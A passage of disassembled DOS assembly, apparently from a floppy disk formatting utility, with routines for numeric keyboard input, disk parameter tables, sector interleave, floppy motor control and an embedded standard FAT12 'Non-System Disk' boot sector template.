; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_38 proc near
|
|
mov ah,1
|
|
mov cx,7
|
|
int 10h ; Video display ah=functn 01h
|
|
; set cursor mode in cx
|
|
mov ah,3
|
|
mov bh,data_104
|
|
int 10h ; Video display ah=functn 03h
|
|
; get cursor loc in dx, mode cx
|
|
mov data_108,dh
|
|
mov data_109,dl
|
|
mov di,137h
|
|
mov data_101,0
|
|
loc_206:
|
|
mov ah,0
|
|
int 16h ; Keyboard i/o ah=function 00h
|
|
; get keybd char in al, ah=scan
|
|
cmp al,0Dh
|
|
jne loc_207 ; Jump if not equal
|
|
retn
|
|
loc_207:
|
|
cmp al,1Bh
|
|
jne loc_208 ; Jump if not equal
|
|
pop ax
|
|
jmp loc_41
|
|
loc_208:
|
|
cmp al,10h
|
|
je loc_209 ; Jump if equal
|
|
cmp ax,5300h
|
|
jne loc_210 ; Jump if not equal
|
|
loc_209:
|
|
call sub_41
|
|
call sub_41
|
|
jmp short loc_206
|
|
loc_210:
|
|
cmp ax,4B00h
|
|
je loc_211 ; Jump if equal
|
|
cmp al,8
|
|
jne loc_212 ; Jump if not equal
|
|
loc_211:
|
|
call sub_41
|
|
jmp short loc_206
|
|
loc_212:
|
|
cmp al,30h ; '0'
|
|
jb loc_213 ; Jump if below
|
|
cmp al,39h ; '9'
|
|
jg loc_213 ; Jump if >
|
|
cmp data_101,2
|
|
je loc_213 ; Jump if equal
|
|
cld ; Clear direction
|
|
stosb ; Store al to es:[di]
|
|
inc data_101
|
|
inc data_109
|
|
call sub_10
|
|
jmp short loc_206
|
|
loc_213:
|
|
call sub_11
|
|
jmp short loc_206
|
|
sub_38 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_39 proc near
|
|
mov si,offset data_33+6 ; (' ')
|
|
loc_214:
|
|
cmp al,0
|
|
je loc_215 ; Jump if equal
|
|
add si,7
|
|
dec al
|
|
jmp short loc_214
|
|
loc_215:
|
|
mov di,offset data_189
|
|
loc_216:
|
|
lodsb ; String [si] to al
|
|
cmp al,0
|
|
jne loc_217 ; Jump if not equal
|
|
retn
|
|
loc_217:
|
|
stosb ; Store al to es:[di]
|
|
sub_39 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_40 proc near
|
|
jmp short loc_216
|
|
sub_40 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_41 proc near
|
|
cmp data_101,0
|
|
je loc_ret_218 ; Jump if equal
|
|
dec di
|
|
dec data_101
|
|
dec data_109
|
|
call sub_42
|
|
mov al,20h ; ' '
|
|
call sub_10
|
|
call sub_42
|
|
|
|
loc_ret_218:
|
|
retn
|
|
sub_41 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_42 proc near
|
|
mov ah,2
|
|
mov bh,data_104
|
|
mov dh,data_108
|
|
mov dl,data_109
|
|
int 10h ; Video display ah=functn 02h
|
|
; set cursor location in dx
|
|
retn
|
|
sub_42 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_43 proc near
|
|
push ds
|
|
mov ds,data_91
|
|
mov si,data_4e
|
|
mov di,offset data_115
|
|
mov cx,7
|
|
cld ; Clear direction
|
|
repe cmpsw ; Rep zf=1+cx >0 Cmp [si] to es:[di]
|
|
cmp cx,0
|
|
je loc_219 ; Jump if equal
|
|
mov di,offset data_113
|
|
mov si,data_4e
|
|
mov cx,6
|
|
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
|
loc_219:
|
|
pop ds
|
|
call sub_44
|
|
mov di,offset data_115
|
|
mov si,data_92
|
|
mov cx,6
|
|
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
|
retn
|
|
sub_43 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_44 proc near
|
|
push es
|
|
mov si,data_92
|
|
mov es,data_91
|
|
mov di,data_4e
|
|
mov cx,6
|
|
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
|
pop es
|
|
retn
|
|
sub_44 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_45 proc near
|
|
call sub_28
|
|
jnc loc_220 ; Jump if carry=0
|
|
retn
|
|
loc_220:
|
|
call sub_43
|
|
retn
|
|
sub_45 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_46 proc near
|
|
call sub_28
|
|
jnc loc_221 ; Jump if carry=0
|
|
clc ; Clear carry flag
|
|
retn
|
|
loc_221:
|
|
cmp data_187,6666h
|
|
je loc_222 ; Jump if equal
|
|
mov data_92,3CEh
|
|
mov ah,data_65
|
|
call sub_47
|
|
mov byte ptr data_184+26h,al ; ('')
|
|
mov byte ptr data_184+28h,ah ; ('')
|
|
call sub_43
|
|
retn
|
|
loc_222:
|
|
cmp data_92,3AAh
|
|
jne loc_ret_223 ; Jump if not equal
|
|
mov data_92,0D5h
|
|
call sub_44
|
|
|
|
loc_ret_223:
|
|
retn
|
|
sub_46 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_47 proc near
|
|
cmp ah,0Ah
|
|
jl loc_226 ; Jump if <
|
|
mov al,31h ; '1'
|
|
loc_224:
|
|
sub ah,0Ah
|
|
cmp ah,0Ah
|
|
jl loc_225 ; Jump if <
|
|
add al,1
|
|
jmp short loc_224
|
|
loc_225:
|
|
or ah,30h ; '0'
|
|
retn
|
|
loc_226:
|
|
or ah,30h ; '0'
|
|
mov al,20h ; ' '
|
|
retn
|
|
sub_47 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_48 proc near
|
|
cld ; Clear direction
|
|
mov di,offset 14Dh
|
|
loc_227:
|
|
mov al,data_65
|
|
stosb ; Store al to es:[di]
|
|
mov al,data_64
|
|
stosb ; Store al to es:[di]
|
|
mov al,data_66
|
|
stosb ; Store al to es:[di]
|
|
mov al,2
|
|
stosb ; Store al to es:[di]
|
|
inc data_66
|
|
mov al,data_66
|
|
cmp al,data_56
|
|
jle loc_227 ; Jump if < or =
|
|
mov data_66,1
|
|
retn
|
|
sub_48 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_49 proc near
|
|
pop ax
|
|
mov word ptr ds:[221h],ax
|
|
mov data_82,21E2h
|
|
mov al,byte ptr ds:[21Ah]
|
|
mov data_66,al
|
|
mov data_68,28E9h
|
|
mov data_67,1FFh
|
|
mov data_69,4Ah ; 'J'
|
|
mov data_70,0C5h
|
|
mov data_85,27F1h
|
|
call sub_75
|
|
mov data_82,220Dh
|
|
mov ax,word ptr ds:[242Ch]
|
|
mov cl,byte ptr ds:[21Ah]
|
|
add cl,al
|
|
cmp cl,data_56
|
|
jle loc_228 ; Jump if < or =
|
|
inc data_64
|
|
sub cl,data_56
|
|
loc_228:
|
|
mov data_66,cl
|
|
call sub_75
|
|
inc byte ptr ds:[21Ah]
|
|
jmp word ptr ds:[221h]
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
|
|
sub_50:
|
|
mov si,offset data_220
|
|
mov cx,word ptr ds:[21Dh]
|
|
inc cx
|
|
sub cx,si
|
|
jbe loc_229 ; Jump if below or =
|
|
mov di,offset data_214
|
|
cld ; Clear direction
|
|
repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di]
|
|
xor al,al ; Zero register
|
|
mov cx,1Bh
|
|
mov di,offset data_220
|
|
repne stosb ; Rep zf=0+cx >0 Store al to es:[di]
|
|
loc_229:
|
|
add word ptr ds:[21Fh],200h
|
|
mov word ptr ds:[21Dh],0
|
|
retn
|
|
sub_49 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_51 proc near
|
|
mov al,data_65
|
|
dec al
|
|
cbw ; Convrt byte to word
|
|
mov bl,4
|
|
div bl ; al, ah rem = ax/reg
|
|
mov cl,ah
|
|
cbw ; Convrt byte to word
|
|
mov di,ax
|
|
rol cl,1 ; Rotate
|
|
add cl,data_64
|
|
mov al,80h
|
|
ror al,cl ; Rotate
|
|
or byte ptr ds:[139h][di],al
|
|
retn
|
|
sub_51 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_52 proc near
|
|
mov data_65,0
|
|
mov data_64,0
|
|
mov data_66,1
|
|
mov data_94,0
|
|
mov data_63,0
|
|
mov data_59,0F6h
|
|
retn
|
|
sub_52 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_53 proc near
|
|
xor al,al ; Zero register
|
|
mov cx,200h
|
|
mov di,offset data_214
|
|
cld ; Clear direction
|
|
repne stosb ; Rep zf=0+cx >0 Store al to es:[di]
|
|
retn
|
|
sub_53 endp
|
|
|
|
mov di,data_100
|
|
mov ax,0D1BAh
|
|
cld ; Clear direction
|
|
stosw ; Store ax to es:[di]
|
|
stosw ; Store ax to es:[di]
|
|
mov ax,data_54
|
|
stosw ; Store ax to es:[di]
|
|
mov data_100,di
|
|
inc data_95
|
|
inc data_99
|
|
retn
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_54 proc near
|
|
mov word ptr data_98,0
|
|
mov si,offset 139h
|
|
cld ; Clear direction
|
|
loc_230:
|
|
lodsb ; String [si] to al
|
|
mov cl,4
|
|
loc_231:
|
|
mov ah,al
|
|
and ah,3
|
|
cmp ah,3
|
|
je loc_232 ; Jump if equal
|
|
cmp ah,0
|
|
je loc_233 ; Jump if equal
|
|
mov bl,data_56
|
|
call sub_57
|
|
jmp short loc_233
|
|
db 90h
|
|
loc_232:
|
|
mov bl,data_56
|
|
shl bl,1 ; Shift w/zeros fill
|
|
call sub_57
|
|
loc_233:
|
|
dec cl
|
|
jz loc_234 ; Jump if zero
|
|
shr al,1 ; Shift w/zeros fill
|
|
shr al,1 ; Shift w/zeros fill
|
|
jmp short loc_231
|
|
loc_234:
|
|
cmp si,14Dh
|
|
jl loc_230 ; Jump if <
|
|
retn
|
|
sub_54 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_55 proc near
|
|
push cx
|
|
mov al,byte ptr ds:[2423h]
|
|
cbw ; Convrt byte to word
|
|
mov bx,ax
|
|
mov al,data_53
|
|
cbw ; Convrt byte to word
|
|
add ax,word ptr ds:[223h]
|
|
xor dx,dx ; Zero register
|
|
div bx ; ax,dx rem=dx:ax/reg
|
|
call sub_59
|
|
xor dx,dx ; Zero register
|
|
mov bx,2
|
|
div bx ; ax,dx rem=dx:ax/reg
|
|
call sub_58
|
|
mov bx,3
|
|
mul bx ; dx:ax = reg * ax
|
|
add ax,3
|
|
add ax,cx
|
|
pop cx
|
|
retn
|
|
sub_55 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_56 proc near
|
|
mov ah,data_95
|
|
inc ah
|
|
call sub_47
|
|
mov data_190,ax
|
|
retn
|
|
sub_56 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_57 proc near
|
|
xor bh,bh ; Zero register
|
|
cmp data_56,9
|
|
jne loc_235 ; Jump if not equal
|
|
clc ; Clear carry flag
|
|
rcr bx,1 ; Rotate thru carry
|
|
adc bx,0
|
|
loc_235:
|
|
add word ptr data_98,bx
|
|
retn
|
|
sub_57 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_58 proc near
|
|
cmp dx,0
|
|
je loc_236 ; Jump if equal
|
|
mov cx,1
|
|
retn
|
|
loc_236:
|
|
mov cx,dx
|
|
retn
|
|
sub_58 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_59 proc near
|
|
test al,1
|
|
jz loc_237 ; Jump if zero
|
|
mov word ptr ds:[229h],2
|
|
retn
|
|
loc_237:
|
|
mov word ptr ds:[229h],0
|
|
retn
|
|
sub_59 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_60 proc near
|
|
mov di,offset 139h
|
|
xor al,al ; Zero register
|
|
mov cx,14h
|
|
cld ; Clear direction
|
|
repne stosb ; Rep zf=0+cx >0 Store al to es:[di]
|
|
retn
|
|
sub_60 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_61 proc near
|
|
mov si,data_31
|
|
mov bx,offset data_41
|
|
mov al,[bx+si]
|
|
mov byte ptr ds:[2423h],al
|
|
mov bx,offset data_47
|
|
mov al,[bx+si]
|
|
mov byte ptr ds:[242Bh],al
|
|
mov bx,offset data_39
|
|
mov al,[bx+si]
|
|
mov data_71,al
|
|
mov bx,offset data_43
|
|
mov al,[bx+si]
|
|
mov data_55,al
|
|
mov bx,offset data_44
|
|
mov al,[bx+si]
|
|
mov data_56,al
|
|
and ax,0FFh
|
|
mov word ptr ds:[242Eh],ax
|
|
mov bx,offset data_45
|
|
mov al,[bx+si]
|
|
mov data_57,al
|
|
mov bx,offset data_46
|
|
mov al,[bx+si]
|
|
mov data_58,al
|
|
mov bx,offset data_52
|
|
mov al,[bx+si]
|
|
mov data_53,al
|
|
shl si,1 ; Shift w/zeros fill
|
|
mov bx,offset data_48
|
|
mov ax,[bx+si]
|
|
mov word ptr ds:[2427h],ax
|
|
mov bx,offset data_40
|
|
mov ax,[bx+si]
|
|
mov data_61,ax
|
|
mov bx,offset data_37
|
|
mov ax,[bx+si]
|
|
mov word ptr data_60,ax
|
|
mov bx,69h
|
|
mov ax,[bx+si]
|
|
mov word ptr ds:[2429h],ax
|
|
mov bx,offset data_50
|
|
mov ax,[bx+si]
|
|
mov word ptr ds:[242Ch],ax
|
|
mov bx,offset data_51
|
|
mov ax,[bx+si]
|
|
mov data_54,ax
|
|
mov ah,4
|
|
int 1Ah ; Real time clock ah=func 04h
|
|
; get date cx=year, dx=mon/day
|
|
mov word ptr ds:[243Fh],dx
|
|
cmp data_31,0
|
|
jne loc_238 ; Jump if not equal
|
|
mov word ptr ds:[216h],143h
|
|
retn
|
|
loc_238:
|
|
mov word ptr ds:[216h],14Dh
|
|
retn
|
|
sub_61 endp
|
|
|
|
jmp short loc_239
|
|
nop
|
|
inc dx
|
|
inc si
|
|
dec di
|
|
push dx
|
|
dec bp
|
|
inc cx
|
|
push sp
|
|
and [bx+si],al
|
|
add al,[bx+si]
|
|
add [bx+si],ax
|
|
add al,[bx+si]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add al,[bx+si]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
sub [bx+si],ax
|
|
add [bx+si],al
|
|
add [bp+4Fh],cl
|
|
db ' NAME FAT12 ', 0Dh, 0Ah, ' '
|
|
db 'Non-System Disk ...', 0Dh, 0Ah, ' '
|
|
db 'Replace And Press Any Key When R'
|
|
db 'eady...', 0Dh, 0Ah, 0
|
|
loc_239:
|
|
xor ax,ax ; Zero register
|
|
cli ; Disable interrupts
|
|
mov ss,ax
|
|
mov sp,7C00h
|
|
sti ; Enable interrupts
|
|
push cs
|
|
pop ds
|
|
mov si,data_234e
|
|
cld ; Clear direction
|
|
loc_240:
|
|
lodsb ; String [si] to al
|
|
test al,al
|
|
jz loc_241 ; Jump if zero
|
|
mov ah,0Eh
|
|
xor bx,bx ; Zero register
|
|
int 10h ; Video display ah=functn 0Eh
|
|
; write char al, teletype mode
|
|
jmp short loc_240
|
|
loc_241:
|
|
mov ah,0
|
|
int 16h ; Keyboard i/o ah=function 00h
|
|
; get keybd char in al, ah=scan
|
|
int 19h ; Bootstrap loader
|
|
db 347 dup (0)
|
|
db 55h,0AAh
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_62 proc near
|
|
mov byte ptr ds:[22Fh],1
|
|
mov ds,data_25
|
|
mov al,0FFh
|
|
mov ds:dsk_motor_tmr_,al
|
|
mov al,ds:dsk_motor_stat_
|
|
and al,0Fh
|
|
push cs
|
|
pop ds
|
|
cmp al,0
|
|
je loc_242 ; Jump if equal
|
|
retn
|
|
loc_242:
|
|
mov cl,data_29
|
|
mov al,10h
|
|
shl al,cl ; Shift w/zeros fill
|
|
mov ah,al
|
|
or al,cl
|
|
or al,0Ch
|
|
mov dx,3F2h
|
|
out dx,al ; port 3F2h, dsk0 contrl output
|
|
mov cl,4
|
|
rol ah,cl ; Rotate
|
|
mov ds,data_25
|
|
mov ds:dsk_motor_stat_,ah
|
|
push cs
|
|
pop ds
|
|
mov byte ptr ds:[22Dh],2
|
|
call sub_7
|
|
retn
|
|
sub_62 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_63 proc near
|
|
pop ax
|
|
mov data_86,ax
|
|
call sub_62
|
|
call sub_67
|
|
jmp short loc_243
|
|
db 90h
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
|
|
sub_64:
|
|
pop ax
|
|
mov data_86,ax
|
|
mov data_63,0
|
|
call sub_62
|
|
call sub_66
|
|
loc_243:
|
|
call sub_79
|
|
call sub_68
|
|
jc loc_244 ; Jump if carry Set
|
|
jmp data_86
|
|
loc_244:
|
|
clc ; Clear carry flag
|
|
jmp loc_123
|
|
sub_63 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_65 proc near
|
|
pop ax
|
|
mov data_88,ax
|
|
call sub_64
|
|
test data_73,0C0h
|
|
jz loc_245 ; Jump if zero
|
|
call sub_64
|
|
test data_73,0C0h
|
|
jz loc_245 ; Jump if zero
|
|
jmp loc_123
|
|
loc_245:
|
|
mov al,data_65
|
|
cmp data_31,0
|
|
jne loc_246 ; Jump if not equal
|
|
shl al,1 ; Shift w/zeros fill
|
|
loc_246:
|
|
mov data_63,al
|
|
call sub_63
|
|
jmp data_88
|
|
|
|
